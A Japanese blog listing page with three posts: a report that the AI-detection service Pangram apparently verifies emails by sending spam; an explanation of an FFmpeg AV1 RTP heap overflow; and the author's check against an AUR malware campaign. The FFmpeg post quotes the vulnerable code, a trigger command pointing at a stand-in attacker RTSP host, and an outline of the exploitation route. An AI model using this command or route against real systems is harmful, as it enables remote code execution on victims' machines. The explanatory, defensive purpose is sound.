メールアドレス検証のためにスパムを送るAI検出サービスの話

面白い記事を読んだ。 Don’t verify email addresses by sending spam to them — milek7.pl 要約すると、AI検出サービス「Pangram」のサインアップフォームにメールアドレスを入力すると、謎の送信元からスパムメールが届くというものだ。著者がPostfixのログを確認したところ、複数のドメイン・IPをローテーションしながら配信を試み、DNSBLに弾かれたら別のIPで即リトライするという、本格的なスパム業者のインフラが動いていたとのこと。 「届いた=有効なアドレス」として検証完了とみなす設計らしく、著者は「スパムを送ることがメール検証になっている」と皮肉っている。詳しくは元記事を読んでほしい。技術的な詳細(Postfixログや送信ドメイン一覧)もすべてそちらに載っている。 気になったので Pangram 自体を調べてみた。 Pangram とは 公式サイトによると、AI生成コンテンツを検出するサービスだ。ChatGPT・Claude・Geminiなどを99.98%の精度で検出するとうたっており、大学・企業向けに展開している。 About ページによれば、創業者のMaxとBradleyはStanfordの同期で、それぞれNuro・Google・Teslaなどでキャリアを積んだMLエンジニア。学生スタートアップではなく、業界経験者が立ち上げたサービスだ。シカゴ大学・メリーランド大学の研究者による第三者検証も受けており、SOC2 Type2認証も取得している。 それなりに本格的なサービスなので、元記事で指摘されているメール検証の実装が余計に不可解になる。 なお日本語ページも用意されているが、翻訳の品質はかなり怪しい。「のグローバルブランドから信頼されています」「AI生成コンテンツ( )および盗用を検出する」など、テンプレート変数の埋め忘れや機械翻訳そのままと思われる箇所が散見される。他の言語は見てないし、調べることもしてないのでまあ日本語が難しいとはいえばそうかもしれない。 日本のXでの使われ方 日本のXでAI判定ツールとしてそこそこ広まっていることがわかった。 使われ方は「この投稿AI臭い → Pangramで判定 → AI!」という流れがしばし見られる。 また、この記事はAIかどうかについては知りたいという意見も散見された。 誤検知は確率的に必ず起きる Princetonの研究者Arvind Narayananは、誤検知率1万件に1件という数字を前提にしても、大学4年間で数百〜1000件の提出物をチェックすれば、学生の一定割合が誤って不正行為を疑われる計算になると指摘している。 SNSの投稿を個人特定の「証拠」として使えば、誤検知による風評被害は避けられない。 生成AIを利用してる私がいうのもなんだが、事実として知っておきたい人たちは存在しつつも 現状のインターネットを見る限り、いわゆる魔女狩りに利用されそうだ。 とはいえ、生成AIを利用していないことを明記しないほうが悪いので 私もこれからは記事に明記しようと思う。 ツール自身も断定を戒めている Pangram自身も「AI検出はひとつのシグナルであり、追加の証拠収集と組み合わせて使うべき」と公式に述べている。個人のX投稿に対して「これはAIが書いた」と断定する用途はそもそも想定されていない。 サービスの信頼性自体に疑問符がついた 元記事の指摘が事実であれば、メールアドレス検証のためにスパム業者へアドレスを渡している可能性がある。現時点でPangram側からの公式コメントは確認できておらず、あくまで一個人の調査に基づく疑惑の段階だ。ただ、AI判定ツールとして人を断罪する根拠に使うには、信頼性の検証が先だろうという気持ちにはなる。 元記事の著者は「どうやってこんな実装に辿り着いたのか謎。LLMエージェントが暴走した可能性もある」と書いていた。AI検出ツールが、AIの暴走疑惑を持つインフラを抱えているとしたら、皮肉としては出来すぎている。 参考 Don’t verify email addresses by sending spam to them — milek7.pl Pangram 公式サイト(日本語) Pangram About Us Arvind Narayanan — 誤検知率についての指摘

June 24, 2026 · 1 min

FFmpegの21連ゼロデイ事件とメモリ安全言語の話

元記事 21 Zero-Days in FFmpeg — For $1,000 セキュリティスタートアップのDepthfirst社が開発したAIエージェントが、FFmpegから21件の未公開脆弱性(ゼロデイ)を発見した。かかった費用はわずか1,000ドル。 人間が数ヶ月かけて監査する規模のコード(約150万行のC言語)を数日でスキャンし、実際にクラッシュやコード実行を起こせる実証コード(PoC)までAIが自動生成したらしい。 その中でもAV1 RTPデパケタイザのバグが、ハッカーにとって都合が良すぎる完璧な仕様だった。 特別なフラグも不要で、以下の ordinary なコマンドで罠URLを開かせるだけでリモートコード実行(RCE)が成立する。 ffmpeg -i rtsp://attacker/stream わずか183バイトのパケット1つでPCが乗っ取られる仕組みが面白かったのでメモ。 原因 トラック用カーソルの「勘違い」 問題は libavformat/rtpdec_av1.c のAV1 RTPデパケタイザ(パケット組み立て処理)にある。 AV1の仕様では、フレームの区切りを示す1バイトのマーカー Temporal Delimiter (TD) を「無視して削除(ignore and remove)」せよ、と書かれている。この処理部分のロジックがバグっていた。 FFmpegは、パケットの書き込み位置を制御するカーソル pktpos を動かしながら処理を行うが、TDを見つけたときに以下のような挙動をしていた。 // libavformat/rtpdec_av1.c:250 if ((obu_type == AV1_OBU_TEMPORAL_DELIMITER) || (obu_type == AV1_OBU_TILE_LIST)) { pktpos += obu_size; // 書き込みカーソル(矢印)だけを先に進める rem_pkt_size -= obu_size; // インプットカウンターを減らす obu_cnt++; continue; // メモリ確保(割り当て)は行わない! } データを無視する(メモリを確保しない)のに、書き込みカーソル(pktpos)だけを先に進めてしまった。これにより、確保されたサイズより遥か先を指す「ポイズンカーソル」が生まれる。 さらに、インプット側のポインタを進め忘れたため、次のループ処理で同じTDのデータを再パースし、攻撃者が用意した任意のデータを、はみ出た未来のメモリ番地へピンポイントに書き込める状態(ヒープバッファオーバーフロー)が完成する。 詳しくてちゃんとした解説については21 Zero-Days in FFmpeg — For $1,000の最後らへんを見てほしい。 綺麗すぎるメモリ配置 通常ならクラッシュして終わるが、FFmpegのアロケータの並びがハッカーにとってお宝だった。 動画データを置くバッファのすぐ隣(オフセット152)には、内部の管理用構造体 AVBuffer が隣接して割り当てられる決まりになっている。この中には、データの片付け(メモリ解放)を行うための「関数ポインタ」(void (*free)(...))が格納されている。 ...

June 13, 2026 · 1 min

AURの大規模マルウェア事件、自分の環境は大丈夫だった話

2026年6月、Arch Linux の AUR (Arch User Repository) で大規模なマルウェア混入事件が発生したらしい。 Arch Linux ユーザーとして、自分の環境への影響を確認したメモ。 何が起きたか Phoronixの報道によれば、400以上のAURパッケージが今週の大規模マルウェアキャンペーンで侵害されたとのこと 参考: https://www.phoronix.com/news/Arch-Linux-AUR-400-Compromised 事件は Arch Linux の公式メーリングリスト aur-general で報告・追跡されている 公式スレッド: https://lists.archlinux.org/archives/list/[email protected]/thread/FGXPCB3ZVCJIV7FX323SBAX2JHYB7ZS4/ 攻撃の手口 セキュリティベンダーSonatypeの分析(通称 “Atomic Arch”)によると、攻撃者はメンテナーが放棄した(orphaned)AURパッケージの所有権を奪い、ビルド手順(PKGBUILD)を改変して atomic-lockfile という悪意あるnpmパッケージをインストールさせる、というパターンが確認された。 参考: https://www.sonatype.com/blog/atomic-arch-npm-campaign-adds-malicious-dependency この atomic-lockfile は preinstall フックで Rust製のELFバイナリ(deps)を自動実行し、ブラウザやDiscord、GitHub、SSH、Dockerなど開発環境の認証情報を狙う情報窃取マルウェア 参考: https://ioctl.fail/preliminary-analysis-of-aur-malware/ 具体例として、VRストリーミング用パッケージ alvr に npm 関連の不自然な処理が追加されていたことが報告されている 参考: https://linuxiac.com/arch-linux-aur-malware-campaign-hits-multiple-user-contributed-packages/ 自分の環境を確認した paru -Qm でAUR(foreign)パッケージ一覧を出し、第三者がgit logから抽出した影響パッケージ一覧(gr.ht/aur_pkg_list.txt)と照合しました。手元の環境(google-chrome, postman-bin, ngrok など17パッケージ)はリストに一件も含まれてなかった ただしこのリストは非公式・暫定的なもので、対象期間も「直近48時間」程度のため、今後も対象が増える可能性がある。 今後の運用方針 緊急対応は不要と判断したが、完全に無視するのではい。 次回 paru -Syu 実行時に、各パッケージのPKGBUILD差分(特にbuild/installセクション)をざっと確認する binパッケージ(google-chrome, postman-binなど)はメンテナー変更の有無を paru -Si <pkg> で時々確認する というくらいのライトな運用はしようかなと思った。 今回のパターンは「放棄パッケージの乗っ取り」が中心なので、現役メンテナーがついているパッケージなら当面のリスクはかなり低いだろうがね。 所詮メモなので、注意喚起とかやりましょうとか強く推奨はしないがやったほうがいいとは思うかな。

June 12, 2026 · 1 min